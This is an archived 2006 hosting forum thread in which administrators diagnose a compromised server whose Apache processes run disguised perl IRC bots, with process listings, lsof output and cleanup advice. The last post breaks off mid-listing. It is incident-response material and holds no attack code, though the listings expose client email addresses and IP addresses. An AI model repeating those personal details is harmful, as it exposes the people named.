The Planet Forums > perl and high load average

galbuss

Jul 13 2006, 09:19 AM

My server is overload with Perl Script, but I don't know who is the guilty and I don't know how delete it.

I use ps -auxf and this is:

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 2 0.0 0.0 0 0 ? SW 05:32 0:00 [migration/0]
root 1 0.0 0.0 1520 508 ? S 05:32 0:04 init [3]
root 3 0.0 0.0 0 0 ? SW 05:32 0:00 [keventd]
root 4 0.0 0.0 0 0 ? SWN 05:32 0:00 [ksoftirqd/0]
root 7 0.0 0.0 0 0 ? SW 05:32 0:00 [bdflush]
root 5 0.0 0.0 0 0 ? SW 05:32 0:01 [kswapd]
root 6 0.0 0.0 0 0 ? SW 05:32 0:00 [kscand]
root 8 0.0 0.0 0 0 ? SW 05:32 0:00 [kupdated]
root 9 0.0 0.0 0 0 ? SW 05:32 0:00 [mdrecoveryd]
root 13 0.0 0.0 0 0 ? SW 05:32 0:07 [kjournald]
root 68 0.0 0.0 0 0 ? SW 05:32 0:00 [khubd]
root 1057 0.0 0.0 0 0 ? SW 05:32 0:00 [kjournald]
root 1377 0.0 0.0 0 0 ? SW 05:32 0:00 [eth0]
root 1483 0.0 0.1 1572 580 ? R 05:32 0:01 syslogd -m 0
root 1487 0.0 0.0 1528 452 ? S 05:32 0:00 klogd -x
named 1557 0.1 0.5 37196 3052 ? S 05:32 0:15 /usr/sbin/named -u named
root 1571 0.0 0.1 3640 784 ? S 05:32 0:00 /usr/sbin/sshd
root 16965 0.0 0.2 7020 1140 ? S 09:14 0:00 _ sshd: root@pts/0
root 17023 0.0 0.2 5336 1356 pts/0 S 09:15 0:00 | _ -bash
root 22242 0.2 0.2 5216 1264 pts/0 S 09:23 0:02 | _ top
root 22176 0.0 0.2 7020 1444 ? S 09:23 0:00 _ sshd: root@pts/1
root 22195 0.0 0.2 5348 1356 pts/1 S 09:23 0:00 _ -bash
root 30152 0.0 0.1 2740 800 pts/1 R 09:40 0:00 _ ps -auxf
root 1585 0.0 0.1 2136 652 ? S 05:32 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
root 1610 0.0 1.5 12884 7896 ? S 05:32 0:00 chkservd
mailnull 1666 0.0 0.1 6624 948 ? S 05:33 0:03 /usr/sbin/exim -bd -q60m
mailnull 29267 0.2 0.6 7456 3336 ? S 09:39 0:00 _ /usr/sbin/exim -bd -q60m
mailnull 30098 0.0 0.2 6632 1104 ? S 09:40 0:00 _ /usr/sbin/exim -bd -q60m
mailnull 30101 0.0 0.2 6632 1104 ? S 09:40 0:00 _ /usr/sbin/exim -bd -q60m
mailnull 1672 0.0 0.1 6604 860 ? S 05:33 0:00 /usr/sbin/exim -tls-on-connect -bd -oX 465
root 1684 0.0 0.2 2976 1056 ? S 05:33 0:09 antirelayd
root 1746 0.0 4.2 24576 21760 ? S 05:33 0:04 /usr/bin/spamd -d --allowed-ips=127.0.0.1 --pidfile=/var/run/spamd.pid --max-children=5
root 1779 0.5 5.4 29940 27708 ? S 05:33 1:28 _ spamd child
root 1781 0.0 4.4 25632 22980 ? S 05:33 0:02 _ spamd child
root 1797 0.0 1.4 17596 7216 ? S 05:33 0:01 /usr/local/apache/bin/httpd -DSSL
nobody 1844 0.1 2.7 23896 14284 ? S 05:33 0:19 _ /usr/local/apache/bin/httpd -DSSL
nobody 1845 0.1 2.7 23744 14100 ? S 05:33 0:19 _ /usr/local/apache/bin/httpd -DSSL
nobody 29149 0.0 0.0 0 0 ? Z 09:38 0:00 | _ [sh ]
nobody 1846 0.1 2.6 23484 13788 ? S 05:33 0:15 _ /usr/local/apache/bin/httpd -DSSL
nobody 1847 0.0 2.6 23152 13524 ? S 05:33 0:08 _ /usr/local/apache/bin/httpd -DSSL
nobody 1848 0.1 2.7 23512 13912 ? S 05:33 0:25 _ /usr/local/apache/bin/httpd -DSSL
nobody 2025 0.0 2.8 24364 14704 ? S 05:33 0:13 _ /usr/local/apache/bin/httpd -DSSL
nobody 2037 0.0 2.9 25268 15140 ? S 05:33 0:11 _ /usr/local/apache/bin/httpd -DSSL
nobody 2038 0.0 2.7 23864 14184 ? S 05:33 0:12 _ /usr/local/apache/bin/httpd -DSSL
nobody 3279 0.1 2.7 23820 14148 ? S 05:37 0:23 _ /usr/local/apache/bin/httpd -DSSL
nobody 15830 0.1 2.9 25184 15308 ? S 05:52 0:18 _ /usr/local/apache/bin/httpd -DSSL
nobody 28652 0.0 1.5 17740 7972 ? S 09:36 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 28663 0.0 0.0 0 0 ? Z 09:36 0:00 | _ [sh ]
nobody 29147 0.0 1.5 17744 7912 ? S 09:38 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 29177 0.0 1.5 17744 7932 ? S 09:38 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 29217 0.0 1.5 17744 7920 ? S 09:39 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 29218 0.0 1.5 17740 7856 ? S 09:39 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 29219 0.0 1.5 17744 7912 ? S 09:39 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 29244 0.0 0.0 0 0 ? Z 09:39 0:00 _ [httpd ]
root 1810 0.0 0.1 1572 584 ? S 05:33 0:00 crond
root 29326 0.0 0.1 1572 616 ? S 09:40 0:00 _ CROND
root 29327 0.1 0.1 2136 968 ? S 09:40 0:00 _ /bin/sh /usr/local/sbin/bfd -q
root 29335 0.1 0.1 2148 996 ? S 09:40 0:00 _ /bin/sh /usr/local/sbin/bfd -s
root 30149 0.0 0.1 2148 996 ? R 09:40 0:00 _ /bin/sh /usr/local/sbin/bfd -s
root 30150 0.0 0.0 0 0 ? Z 09:40 0:00 _ [cat ]
root 30151 0.0 0.1 2148 996 ? R 09:40 0:00 _ /bin/sh /usr/local/sbin/bfd -s
root 2007 0.0 0.1 6912 856 ? S 05:33 0:00 pure-ftpd (SERVER)
root 30096 0.0 0.2 6916 1024 ? S 09:40 0:00 _ pure-ftpd (SERVER)
root 30097 0.0 0.2 6916 1024 ? S 09:40 0:00 _ pure-ftpd (SERVER)
root 2029 0.0 0.1 6664 576 ? S 05:33 0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/sbin/pureauth
root 2084 0.0 1.2 12300 6320 ? S 05:33 0:02 cpsrvd - waiting for connections
ingospor 29293 0.1 1.3 12308 6920 ? S 09:39 0:00 _ cpaneld - serving 127.0.0.1
root 2180 0.2 1.6 11352 8448 ? SN 05:33 0:36 cpanellogd - sleeping for logs
nobody 2208 0.0 0.2 3740 1496 ? S 05:33 0:00 entropychat
cpanel 2245 0.0 0.4 6524 2348 ? S 05:33 0:02 /usr/bin/stunnel-4.15local /usr/local/cpanel/etc/stunnel/default/stunnel.conf.run
root 2247 0.0 1.0 10564 5392 ? S 05:33 0:05 cppop - accepting on port 110
jjjj 6823 0.1 1.1 10700 6080 ? S 08:57 0:03 _ cppop - serving 201.236.67.42 - TRANSACTION - ccornejo@jjjj.cl
jjjj 11757 0.0 1.1 10584 5884 ? S 09:01 0:01 _ cppop - serving 201.236.67.42 - TRANSACTION - mbascunan@jjjj.cl
jjjj 27566 0.0 1.1 10716 6048 ? S 09:31 0:00 _ cppop - serving 201.236.67.42 - TRANSACTION - lfazzi@jjjj.cl
jjjj 29186 0.0 1.1 10584 5944 ? S 09:39 0:00 _ cppop - serving 201.236.67.42 - TRANSACTION - creyes@jjjj.cl
jjjj 29188 0.6 1.1 10584 5984 ? S 09:39 0:00 _ cppop - serving 201.236.67.42 - TRANSACTION - jmunoz@jjjj.cl
jjjj 29311 0.1 1.1 10584 6108 ? S 09:39 0:00 _ cppop - serving 201.236.67.42 - TRANSACTION - jbustos@jjjj.cl
jjjj 29529 0.9 1.1 10584 5940 ? S 09:40 0:00 _ cppop - serving 201.236.67.42 - TRANSACTION - jtorres@jjjj.cl
geolaqui 30061 2.0 1.1 10580 5860 ? S 09:40 0:00 _ cppop - serving 200.72.126.201 - AUTHORIZATION
root 30094 1.0 1.1 10572 5712 ? S 09:40 0:00 _ cppop - accepting on port 110
root 30099 0.0 1.1 10572 5712 ? S 09:40 0:00 _ cppop - accepting on port 110
root 30100 1.0 1.1 10572 5712 ? S 09:40 0:00 _ cppop - accepting on port 110
root 2259 0.0 0.1 4624 524 ? S 05:33 0:00 rhnsd --interval 240
root 2286 0.0 0.0 1536 464 ? S 05:33 0:00 /usr/sbin/portsentry -tcp
root 2336 0.0 0.0 0 0 ? SW 05:33 0:00 [loop0]
root 2339 0.0 0.0 0 0 ? SW 05:33 0:00 [kjournald]
root 2348 0.0 0.0 1572 388 ? S 05:33 0:00 mdadm --monitor --scan
root 2359 0.0 2.3 12148 12144 ? SL 05:33 0:00 mdmpd
root 2368 0.0 0.0 1500 404 tty1 S 05:33 0:00 /sbin/mingetty tty1
root 2369 0.0 0.0 1512 404 tty2 S 05:33 0:00 /sbin/mingetty tty2
root 2370 0.0 0.0 1520 404 tty3 S 05:33 0:00 /sbin/mingetty tty3
root 2371 0.0 0.0 1500 400 tty4 S 05:33 0:00 /sbin/mingetty tty4
root 2372 0.0 0.0 1508 412 tty5 S 05:33 0:00 /sbin/mingetty tty5
root 2373 0.0 0.0 1520 412 tty6 S 05:33 0:00 /sbin/mingetty tty6
root 2374 0.0 0.0 1520 432 ttyS0 S 05:33 0:00 /sbin/agetty -L 9600 ttyS0 vt100
root 11894 0.0 0.1 5340 620 ? S 05:42 0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/linux.lnethost
mysql 11929 0.4 3.6 108652 18740 ? S 05:42 1:09 _ /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql --pid-file=/var/lib/mys
mailnull 15778 0.0 0.9 9828 4884 ? S 05:51 0:02 eximstats
nobody 28668 0.0 0.6 7592 3264 ? S 09:36 0:00 ps -x
nobody 29158 61.7 0.6 7604 3272 ? R 09:38 0:58 ps -xkerford 29848 0.1 1.0 7520 5484 ? R 09:40 0:00 /usr/bin/perl -T /usr/local/cpanel/base/neomail/neomail.pl

In EV1 said me that the problem is Perl script "ps -x" but I don't know who is or where is it.

Please help me, because my clients are

Thanks.

eth00

Jul 13 2006, 11:11 AM

A site on your server has probably been exploited. Go ahead and run "top" for a minute or two. Then at the top of the processes you will probably see an httpd/sh/perl process. Look at the PID for it (on the left) and run

lsof -p PID
and
ls -l /proc/PID

to look into tracking down what the script is and what it does.

galbuss

Jul 13 2006, 01:28 PM

Thanks eth00:

I use ls -l /proc/ and that appears:

root@linux [~]# ls -l /proc/32717
total 0
dr-xr-xr-x 3 nobody nobody 0 Jul 13 15:25 ./
dr-xr-xr-x 191 root root 0 Jul 13 10:18 ../
-r--r--r-- 1 nobody nobody 0 Jul 13 15:25 cmdline
-r--r--r-- 1 nobody nobody 0 Jul 13 15:25 cpu
lrwxrwxrwx 1 nobody nobody 0 Jul 13 15:25 cwd -> //
-r-------- 1 nobody nobody 0 Jul 13 15:25 environ
lrwxrwxrwx 1 nobody nobody 0 Jul 13 15:25 exe -> /usr/bin/perl*
dr-x------ 2 nobody nobody 0 Jul 13 15:25 fd/
-r--r----- 1 nobody nobody 0 Jul 13 15:25 maps
-rw------- 1 nobody nobody 0 Jul 13 15:25 mem
-r--r--r-- 1 nobody nobody 0 Jul 13 15:25 mounts
lrwxrwxrwx 1 nobody nobody 0 Jul 13 15:25 root -> //
-r--r--r-- 1 nobody nobody 0 Jul 13 15:25 stat
-r--r--r-- 1 nobody nobody 0 Jul 13 15:25 statm
-r--r--r-- 1 nobody nobody 0 Jul 13 15:25 status

As you can see, not appears the user

or the process that make this (or I can't see it).

When I use lsof -p, that appears:

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
perl 7106 nobody cwd DIR 3,3 4096 2 /
perl 7106 nobody rtd DIR 3,3 4096 2 /
perl 7106 nobody txt REG 3,3 994885 1131137 /usr/bin/perl
perl 7106 nobody mem REG 3,3 76508 524335 /lib/libresolv-2.3.2.so
perl 7106 nobody mem REG 3,3 18632 524320 /lib/libnss_dns-2.3.2.so
perl 7106 nobody mem REG 3,3 51888 524323 /lib/libnss_files-2.3.2.so
perl 7106 nobody mem REG 3,3 24286 6176950 /usr/lib/perl5/5.8.1/i686-linux/auto/Socket/Socket.so
perl 7106 nobody mem REG 3,3 17470 3834034 /usr/lib/perl5/5.8.1/i686-linux/auto/IO/IO.so
perl 7106 nobody mem REG 3,3 32148976 3276954 /usr/lib/locale/locale-archive
perl 7106 nobody mem REG 3,3 1567768 671747 /lib/tls/libc-2.3.2.so
perl 7106 nobody mem REG 3,3 12544 524341 /lib/libutil-2.3.2.so
perl 7106 nobody mem REG 3,3 23388 524301 /lib/libcrypt-2.3.2.so
perl 7106 nobody mem REG 3,3 212884 671759 /lib/tls/libm-2.3.2.so
perl 7106 nobody mem REG 3,3 14868 524303 /lib/libdl-2.3.2.so
perl 7106 nobody mem REG 3,3 90924 524307 /lib/libnsl-2.3.2.so
perl 7106 nobody mem REG 3,3 103840 524406 /lib/ld-2.3.2.so
perl 7106 nobody 0r CHR 1,3 67061 /dev/null
perl 7106 nobody 1w FIFO 0,5 988863 pipe
perl 7106 nobody 2w REG 3,3 125805477 1671461 /usr/local/apache/logs/error_log
perl 7106 nobody 3u IPv4 988898 TCP linux.lnethost.com:34736->ev1s-67-15-84-25.ev1servers.net:ircd (ESTABLISHED)
perl 7106 nobody 15w REG 3,3 0 1671677 /usr/local/apache/logs/audit_log
perl 7106 nobody 16w REG 3,3 0 1671678 /usr/local/apache/logs/modsec_debug_log
perl 7106 nobody 17w REG 3,3 125805477 1671461 /usr/local/apache/logs/error_log
perl 7106 nobody 20w REG 3,3 0 2163105 /usr/local/apache/domlogs/aaaa.cl-bytes_log
.
.
.
.
.
perl 32717 nobody 288w REG 3,3 0 2163001 /usr/local/apache/domlogs/xxx.com-bytes_log
perl 32717 nobody 289w REG 3,3 5933 2162938 /usr/local/apache/domlogs/xxx.com-bytes_log
perl 32717 nobody 290w REG 3,3 0 2162891 /usr/local/apache/domlogs/cpanel.ev1servers.net-bytes_log
perl 32717 nobody 291w REG 3,3 807990 1671381 /usr/local/apache/logs/ssl_engine_log
perl 32717 nobody 292w REG 3,3 0 1671683 /usr/local/apache/logs/ssl_mutex.1783
perl 32717 nobody 563w REG 3,3 0 1671683 /usr/local/apache/logs/ssl_mutex.1783

aaa and xxx is the name of one client mine, but in the list appears almost all of my clients and files like this.

If you can help me, I will thank you.

andyreed

Jul 13 2006, 02:38 PM

QUOTE (galbuss)

My server is overload with Perl Script, but I don't know who is the guilty and I don't know how delete it.

In EV1 said me that the problem is Perl script "ps -x" but I don't know who is or where is it.

On what basis did EV1 say the problem is a Perl script? Why not asking EV1 to pinpoint that Perl script for you?
There are many possible causes of high server load:

1) High server loads could be caused by just one or several resource-intensive application(s).
Examples include very high-traffic Web sites, database-driven Web sites,
forums, gaming sites, file download sites and so on.
2) A high server load can also be caused by a malicious script or a "runaway script" which can continously loop, dragging down the server's resources.
3) Too many websites on the one server - with the cumulative resources
resulting in high server load.
4) Running out of memory and swapping to the swap file.
5) Server backups or server updates are taking place.
6) Misconfigured software causing errors.
7) Users sending large mailing lists.

sers trying to bounce spam.
9) Users/spammers sending spam email.
10) Hardware issues including memory leak, bad hard drive, and network

galbuss

Jul 13 2006, 02:53 PM

EV1 said that a script (ps -x) is running (and myself can see it with top, and lsof -p).

But I don't know where is, and I can't see who put this script because only appears anonymouse as user.

Can you help me? I must to know where is this script to delete it.

When I make ps-auxf, I received this:

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 2 0.0 0.0 0 0 ? SW 05:32 0:00 [migration/0]
root 1 0.0 0.0 1520 508 ? S 05:32 0:04 init [3]
root 3 0.0 0.0 0 0 ? SW 05:32 0:00 [keventd]
root 4 0.0 0.0 0 0 ? SWN 05:32 0:00 [ksoftirqd/0]
root 7 0.0 0.0 0 0 ? SW 05:32 0:00 [bdflush]
root 5 0.0 0.0 0 0 ? SW 05:32 0:01 [kswapd]
root 6 0.0 0.0 0 0 ? SW 05:32 0:01 [kscand]
root 8 0.0 0.0 0 0 ? SW 05:32 0:00 [kupdated]
root 9 0.0 0.0 0 0 ? SW 05:32 0:00 [mdrecoveryd]
root 13 0.0 0.0 0 0 ? SW 05:32 0:10 [kjournald]
root 68 0.0 0.0 0 0 ? SW 05:32 0:00 [khubd]
root 1057 0.0 0.0 0 0 ? SW 05:32 0:00 [kjournald]
root 1377 0.0 0.0 0 0 ? SW 05:32 0:00 [eth0]
root 1483 0.0 0.1 1572 580 ? R 05:32 0:02 syslogd -m 0
root 1487 0.0 0.0 1528 452 ? S 05:32 0:00 klogd -x
named 1557 0.1 0.6 37408 3156 ? S 05:32 0:18 /usr/sbin/named -u named
root 1571 0.0 0.1 3640 792 ? S 05:32 0:00 /usr/sbin/sshd
root 16965 0.0 0.2 7020 1168 ? S 09:14 0:00 _ sshd: root@pts/0
root 17023 0.0 0.2 5336 1336 pts/0 S 09:15 0:00 | _ -bash
root 14655 0.2 0.2 5220 1296 pts/0 S 10:18 0:03 | _ top
root 22176 0.0 0.2 7020 1140 ? S 09:23 0:00 _ sshd: root@pts/1
root 22195 0.0 0.2 5348 1340 pts/1 S 09:23 0:00 _ -bash
root 23672 3.0 0.1 2728 796 pts/1 R 10:39 0:00 _ ps -auxf
root 1585 0.0 0.1 2136 732 ? S 05:32 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
root 1610 0.0 1.5 12884 7896 ? S 05:32 0:00 chkservd
mailnull 1666 0.0 0.1 6624 952 ? S 05:32 0:04 /usr/sbin/exim -bd -q60m
mailnull 19361 0.3 0.5 7456 2848 ? S 10:27 0:02 _ /usr/sbin/exim -bd -q60m
mailnull 23603 0.3 0.6 7428 3224 ? S 10:38 0:00 _ /usr/sbin/exim -bd -q60m
mailnull 23656 1.5 0.6 7428 3248 ? S 10:39 0:00 _ /usr/sbin/exim -bd -q60m
mailnull 23661 3.0 0.0 0 0 ? Z 10:39 0:00 | _ [exim ]
mailnull 23667 0.0 0.2 6632 1308 ? S 10:39 0:00 _ /usr/sbin/exim -bd -q60m
mailnull 23668 2.0 0.6 7420 3104 ? S 10:39 0:00 _ /usr/sbin/exim -bd -q60m
mailnull 1672 0.0 0.1 6604 860 ? S 05:32 0:00 /usr/sbin/exim -tls-on-connect -bd -oX 465
root 1684 0.1 0.2 2976 1060 ? S 05:32 0:20 antirelayd
root 1746 0.0 4.2 24576 21828 ? S 05:33 0:05 /usr/bin/spamd -d --allowed-ips=127.0.0.1 --pidfile=/var/run/spamd.pid --max-children=5
root 1781 0.0 4.9 27364 25456 ? S 05:33 0:10 _ spamd child
root 13900 0.1 4.8 26692 24816 ? S 10:12 0:02 _ spamd child
root 1797 0.0 1.7 17828 8972 ? S 05:33 0:04 /usr/local/apache/bin/httpd -DSSL
nobody 19117 0.0 2.2 19884 11672 ? S 10:25 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 19118 0.0 1.8 17976 9428 ? S 10:25 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23414 0.0 0.0 0 0 ? Z 10:37 0:00 | _ [sh ]
nobody 19119 0.1 2.2 19772 11588 ? S 10:25 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 19120 0.1 2.6 21904 13724 ? S 10:25 0:01 _ /usr/local/apache/bin/httpd -DSSL
nobody 19121 0.2 3.0 23392 15340 ? S 10:25 0:01 _ /usr/local/apache/bin/httpd -DSSL
nobody 19165 0.0 2.6 21992 13352 ? S 10:26 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23415 0.0 0.0 0 0 ? Z 10:37 0:00 | _ [sh ]
nobody 19172 0.0 2.3 19936 11888 ? S 10:26 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 19175 0.0 1.8 17956 9572 ? S 10:26 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 19187 0.1 2.9 23356 15184 ? S 10:26 0:01 _ /usr/local/apache/bin/httpd -DSSL
nobody 19191 0.4 2.9 23316 15156 ? S 10:26 0:03 _ /usr/local/apache/bin/httpd -DSSL
nobody 19416 0.1 2.9 23364 15040 ? S 10:27 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 22725 0.0 1.8 17832 9464 ? S 10:32 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23137 0.0 1.8 17832 9512 ? S 10:35 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23138 0.0 1.8 17832 9512 ? S 10:35 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23139 0.1 2.2 19560 11484 ? S 10:35 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23142 0.0 2.2 19676 11580 ? S 10:35 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23144 0.1 2.2 19624 11544 ? S 10:35 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23148 0.0 1.8 17832 9512 ? S 10:35 0:00 _ /usr/local/apache/bin/httpd -DSSL
nobody 23502 0.0 1.7 17828 9164 ? S 10:37 0:00 _ /usr/local/apache/bin/httpd -DSSL
root 1810 0.0 0.1 1572 584 ? S 05:33 0:00 crond
root 2007 0.0 0.1 6912 856 ? S 05:33 0:00 pure-ftpd (SERVER)
root 2029 0.0 0.1 6664 568 ? S 05:33 0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/sbin/pureauth
root 2084 0.0 1.2 12300 6320 ? S 05:33 0:04 cpsrvd - waiting for connections
kerford 23671 3.0 1.3 12312 7008 ? R 10:39 0:00 _ webmaild - serving 127.0.0.1
root 2180 0.2 1.6 11352 8388 ? SN 05:33 0:44 cpanellogd - sleeping for logs
nobody 2208 0.0 0.2 3740 1496 ? S 05:33 0:00 entropychat
cpanel 2245 0.0 0.4 6796 2460 ? S 05:33 0:04 /usr/bin/stunnel-4.15local /usr/local/cpanel/etc/stunnel/default/stunnel.conf.run
root 2247 0.0 1.0 10564 5392 ? S 05:33 0:10 cppop - accepting on port 110
geolaqui 23304 0.6 1.1 10584 5948 ? S 10:36 0:01 _ cppop - serving 200.72.126.201 - TRANSACTION - cflores@cliente3.cl
ingomar 23645 1.0 1.1 10584 5952 ? S 10:39 0:00 _ cppop - serving 201.236.67.42 - TRANSACTION - calvarez@cliente-2.cl
32033 23662 1.6 1.1 10584 5940 ? S 10:39 0:00 _ cppop - serving 201.252.187.251 - TRANSACTION - v.torres@cliente1.com
root 2259 0.0 0.1 4624 524 ? S 05:33 0:00 rhnsd --interval 240
root 2286 0.0 0.0 1536 464 ? S 05:33 0:00 /usr/sbin/portsentry -tcp
root 2336 0.0 0.0 0 0 ? SW 05:33 0:00 [loop0]
root 2339 0.0 0.0 0 0 ? SW 05:33 0:00 [kjournald]
root 2348 0.0 0.0 1572 388 ? S 05:33 0:00 mdadm --monitor --scan
root 2359 0.0 2.3 12148 12144 ? SL 05:33 0:00 mdmpd
root 2368 0.0 0.0 1500 404 tty1 S 05:33 0:00 /sbin/mingetty tty1
root 2369 0.0 0.0 1512 404 tty2 S 05:33 0:00 /sbin/mingetty tty2
root 2370 0.0 0.0 1520 404 tty3 S 05:33 0:00 /sbin/mingetty tty3
root 2371 0.0 0.0 1500 400 tty4 S 05:33 0:00 /sbin/mingetty tty4
root 2372 0.0 0.0 1508 412 tty5 S 05:33 0:00 /sbin/mingetty tty5
root 2373 0.0 0.0 1520 412 tty6 S 05:33 0:00 /sbin/mingetty tty6
root 2374 0.0 0.0 1520 432 ttyS0 S 05:33 0:00 /sbin/agetty -L 9600 ttyS0 vt100
root 11894 0.0 0.1 5340 620 ? S 05:42 0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/linux.lnethost
mysql 11929 0.4 3.6 109628 18604 ? S 05:42 1:27 _ /usr/sbin/mysqld --basedir=/ --datadir=/var/lib/mysql --user=mysql --pid-file=/var/lib/mys
mailnull 15778 0.0 0.9 9828 4936 ? S 05:51 0:02 eximstats
root 19802 0.0 0.6 7556 3468 ? S 10:29 0:00 /usr/sbin/exim -Mc 1G125O-0004m6-66
mailnull 20159 0.0 0.6 7556 3500 ? S 10:30 0:00 _ /usr/sbin/exim -Mc 1G125O-0004m6-66
mailnull 22683 0.0 0.6 7556 3504 ? S 10:32 0:00 _ /usr/sbin/exim -Mc 1G125O-0004m6-66
root 23091 0.0 0.7 7556 3928 ? S 10:34 0:00 /usr/sbin/exim -Mc 1G12Gs-0005zU-GF
mailnull 23096 0.0 0.7 7556 3960 ? S 10:34 0:00 _ /usr/sbin/exim -Mc 1G12Gs-0005zU-GF
root 23239 0.0 0.7 7564 3928 ? S 10:36 0:00 /usr/sbin/exim -Mc 1G12Hr-00061E-2G
mailnull 23248 0.0 0.7 7564 3964 ? S 10:36 0:00 _ /usr/sbin/exim -Mc 1G12Hr-00061E-2G
nobody 23424 84.2 0.6 7600 3260 ? R 10:37 1:47 ps -x
nobody 23432 0.0 0.6 7596 3228 ? S 10:37 0:00 ps -x
root 23660 1.7 0.7 7548 3932 ? S 10:39 0:00 /usr/sbin/exim -Mc 1G12LV-00069b-IB
mailnull 23666 0.0 0.7 7824 3988 ? R 10:39 0:00 _ /usr/sbin/exim -Mc 1G12LV-00069b-IB

In red, EV1 said this is the problem, but I can't see where is or who is the account with this script.

Can anyone help me?

Thanks.

rgmarcha

Jul 14 2006, 01:07 AM

First of all, I think you have not understood the real problem you have, so I'll try to explain what I believe is happening...

Given this line:

perl 7106 nobody 3u IPv4 988898 TCP linux.lnethost.com:34736->ev1s-67-15-84-25.ev1servers.net:ircd (ESTABLISHED)

and all the opened file descriptors of process 7106, it looks like one of your perl scripts was exploited (that line tells me that the script has an open connection to an IRC daemon), transforming the original apache process into some kind of bot (an IRC-controlled bot, given the evidence)

This probably means that even if you track down the "ps -x" that is causing you problems, in the end it won't matter because the program that was originally exploited, will be exploited again.

Anyway, as the bot is connecting to an IRC daemon, to detect all the subverted processes I would check all those that have an open connection to an IRC daemon (at least to those IRC daemons listening on a standard IRC port).

lsof -n -P -i:194

and maybe you could try to kill them.

Now, you need to track down which one/ones of your scripts is/are the "exploitable", and to fix it/them.

If you don't know what I'm talking about, I would suggest you to contact a professional with experience to help you in this (They usually have posts in these forums with signatures indicating how to contact them)

Hope this helps (and I hope you can realize the real nature of the problem you have)

lizardthefish

Sep 10 2006, 02:34 PM

Did you ever solve this issue? I have a similar problem and cannot pinpoint the issue. Any notes about how you resolved or identified the problem would be most helpful. Thank you.

Lizard

lizardthefish

Sep 11 2006, 11:12 AM

I almost positive I have the same thing going on. I'm not sure how to identify which script is being compromised. How can I pinpoint this? I've just killed all of the offending processes, so I'll wait until the buggers come back then post some detail information about the culprit.

Lizardo Suave

eth00

Sep 11 2006, 11:17 AM

QUOTE (lizardthefish)

I almost positive I have the same thing going on. I'm not sure how to identify which script is being compromised. How can I pinpoint this? I've just killed all of the offending processes, so I'll wait until the buggers come back then post some detail information about the culprit.

Lizardo Suave

Honestly there is no simple way to find it you need to search though the access/error/audit log for apache and hope you can find something. There are sometimes that nothing shows up in the logs if it is exploited via a POST request which is somewhat common.

The best thing to do is look at the script itself and see if you can see how it gets in and what it needs and then block that. If you run mod_security with a good ruleset it will help a lot.

As a quick fix you can block port 80 outbound, that may break some sites but it will usually stop the injections that run perl scripts.

lizardthefish

Sep 11 2006, 05:34 PM

Thanks Eth00, that was just the nudge I needed.

Here is as much detail as may be helpful to anyone else with same or similar issue:

THE PROBLEM

The CPU Load Average was running from 2.0+ to a point where I saw it at 45.0+. It was almost always looking something like this in 'top':

CODE

root@myserver [~]# top

19:42:19 up 7:07, 1 user, load average: 1.77, 2.11, 1.78

127 processes: 119 sleeping, 5 running, 3 zombie, 0 stopped

CPU states: cpu user nice system irq softirq iowait idle

total 79.4% 0.0% 20.1% 0.0% 0.3% 0.0% 0.0%

Mem: 1028484k av, 906436k used, 122048k free, 0k shrd, 75396k buff

488256k active, 291800k inactive

Swap: 2048276k av, 0k used, 2048276k free 372244k cached

PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND

31022 nobody 18 0 4096 4096 1608 R 44.6 0.3 0:56 0 perl

31694 nobody 16 0 4096 4096 1608 S 33.4 0.3 0:25 0 perl

30995 nobody 25 0 4100 4100 1608 R 17.9 0.3 11:12 0 perl

31232 nobody 15 0 13612 13M 1688 S 1.1 1.3 0:05 0 perl

4702 named 15 0 6512 6512 1704 S 0.3 0.6 0:47 0 named

31302 nobody 15 0 4104 4104 1608 S 0.3 0.3 0:30 0 perl

31878 root 15 0 1152 1152 884 R 0.3 0.1 0:00 0 top

4707 named 15 0 6512 6512 1704 R 0.1 0.6 0:12 0 named

4750 mailman 15 0 3748 3748 940 S 0.1 0.3 0:04 0 python

18851 mailnull 16 0 37320 36M 2560 S 0.1 3.6 0:46 0 MailScanner

18923 mailnull 15 0 39260 38M 2540 S 0.1 3.8 0:41 0 MailScanne

Pressing 'c' in top will switch 'top' to show the full Command. This translated the 'perl' processes above to '[syslogd]' and '-bin' commands. Another handy 'top' command is 'u'. Pressig 'u' then entering the username of the user whose processes you would like to monitor will restrict the listed processes to only that users processes. I use 'u', entered 'nobody' and that showed me httpd/apache processes. All of my CPU intensive processes were owned by the user 'nobody'.

Another cross section of the processes goes like this. I ran top, then selected specific suspect processes and ran the lsof command on each of them. See the results below:

CODE

FROM top:

13:25:35 up 1 day, 2:27, 1 user, load average: 2.35, 3.57, 8.87

124 processes: 114 sleeping, 8 running, 2 zombie, 0 stopped

CPU states: cpu user nice system irq softirq iowait idle

